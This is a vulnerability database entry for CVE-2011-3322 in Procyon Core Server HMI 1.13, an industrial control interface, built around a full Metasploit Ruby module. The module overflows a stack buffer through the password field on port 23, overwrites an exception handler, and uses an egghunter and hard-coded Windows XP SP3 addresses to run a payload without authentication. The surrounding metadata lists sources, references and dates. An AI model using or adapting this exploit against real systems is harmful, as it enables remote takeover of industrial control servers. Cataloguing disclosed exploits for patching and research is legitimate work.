ID

VAR-E-201109-0094


CVE

cve_id:CVE-2011-3322

Trust: 2.4

sources: BID: 49480 // PACKETSTORM: 105038 // EXPLOIT-DB: 17827 // EDBNET: 40349

EDB ID

17827


TITLE

Procyon Core Server HMI 1.13 - 'Coreservice.exe' Remote Stack Buffer Overflow (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 17827

DESCRIPTION

Procyon Core Server HMI 1.13 - 'Coreservice.exe' Remote Stack Buffer Overflow (Metasploit). CVE-2011-3322CVE-75371 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 17827

AFFECTED PRODUCTS

vendor:procyonmodel:core server hmiscope:eqversion:1.13

Trust: 1.5

vendor:procyonmodel:core server hmiscope:lteversion:<=1.13

Trust: 0.6

vendor:scadatecmodel:procyonscope:eqversion:1.13

Trust: 0.3

vendor:scadatecmodel:procyonscope:neversion:1.14

Trust: 0.3

sources: BID: 49480 // PACKETSTORM: 105038 // EXPLOIT-DB: 17827 // EDBNET: 40349

EXPLOIT

##
# $Id: procyon_core_server.rb 13724 2011-09-12 21:42:36Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in the coreservice.exe component of Proycon
Core Server <= v1.13. While processing a password, the application
fails to do proper bounds checking before copying data into a small buffer on the stack.
This causes a buffer overflow and allows to overwrite a structured exception handling
record on the stack, allowing for unauthenticated remote code execution. Also, after the
payload exits, Coreservice.exe should automatically recover.
},
'License' => MSF_LICENSE,
'Version' => '$Revision: 13724 $',
'Author' =>
[
'Knud Højgaard <keh[at]nsense.dk>', # Initial discovery
'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf
],
'References' =>
[
['CVE', 'CVE-2011-3322'],
['OSVDB', '75371'],
['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'],
['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Targets' =>
[

[
'Windows XP SP3 - No dep bypass',
{
'Ret' => 0x774699bf, # JMP ESP [user32.dll]
'Edx' => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
'Eax' => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
'Offset' => 8
}
],
],
'Privileged' => true,
'DisclosureDate' => "Sep 08 2011",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(23)
], self.class)
end

def check
connect
res = sock.get_once.chomp #This gives us string "----------------------------"
res = sock.get_once.chomp #This gives us the actual software version
disconnect

if res =~ /Core Command Interface V1\.(.*)2/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit

eggoptions =
{
:checksum => false,
:eggtag => 'ssec',
}

badchars = "\x00\x0a\x0d"
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

sploit = rand_text_alpha_upper(45)
sploit << [target['Edx']].pack('V')
sploit << [0x41414141].pack('V')
sploit << [target['Eax']].pack('V')
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << hunter
sploit << rand_text_alpha_upper(500)
sploit << egg
sploit << "\r\n"

connect
sock.get_once()
print_status("Sending request...")
sock.put(sploit)
handler()
disconnect

end

end

Trust: 1.0

sources: EXPLOIT-DB: 17827

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 17827

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 17827

TYPE

'Coreservice.exe' Remote Stack Buffer Overflow (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 17827

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

tag:overflow

Trust: 0.5

tag:code execution

Trust: 0.5

sources: PACKETSTORM: 105038 // EXPLOIT-DB: 17827

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 17827

EXTERNAL IDS

db:ICS CERTid:ICSA-11-216-01

Trust: 2.4

db:NVDid:CVE-2011-3322

Trust: 2.4

db:EXPLOIT-DBid:17827

Trust: 1.6

db:EDBNETid:40349

Trust: 0.6

db:PACKETSTORMid:105038

Trust: 0.5

db:BIDid:49480

Trust: 0.3

sources: BID: 49480 // PACKETSTORM: 105038 // EXPLOIT-DB: 17827 // EDBNET: 40349

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2011-3322

Trust: 2.1

url:http://www.stratsec.net/research/advisories/procyon-core-server-hmi-remote-stack-overflow

Trust: 1.0

url:https://www.exploit-db.com/exploits/17827/

Trust: 0.6

url:http://www.scadatec.co.uk/procyon_products.html

Trust: 0.3

url:http://www.us-cert.gov/control_systems/pdf/icsa-11-216-01.pdf

Trust: 0.3

sources: BID: 49480 // PACKETSTORM: 105038 // EXPLOIT-DB: 17827 // EDBNET: 40349

SOURCES

db:BIDid:49480
db:PACKETSTORMid:105038
db:EXPLOIT-DBid:17827
db:EDBNETid:40349

LAST UPDATE DATE

2022-07-27T09:43:05.849000+00:00


SOURCES UPDATE DATE

db:BIDid:49480date:2013-04-02T15:47:00

SOURCES RELEASE DATE

db:BIDid:49480date:2011-09-06T00:00:00
db:PACKETSTORMid:105038date:2011-09-13T15:33:00
db:EXPLOIT-DBid:17827date:2011-09-12T00:00:00
db:EDBNETid:40349date:2011-09-12T00:00:00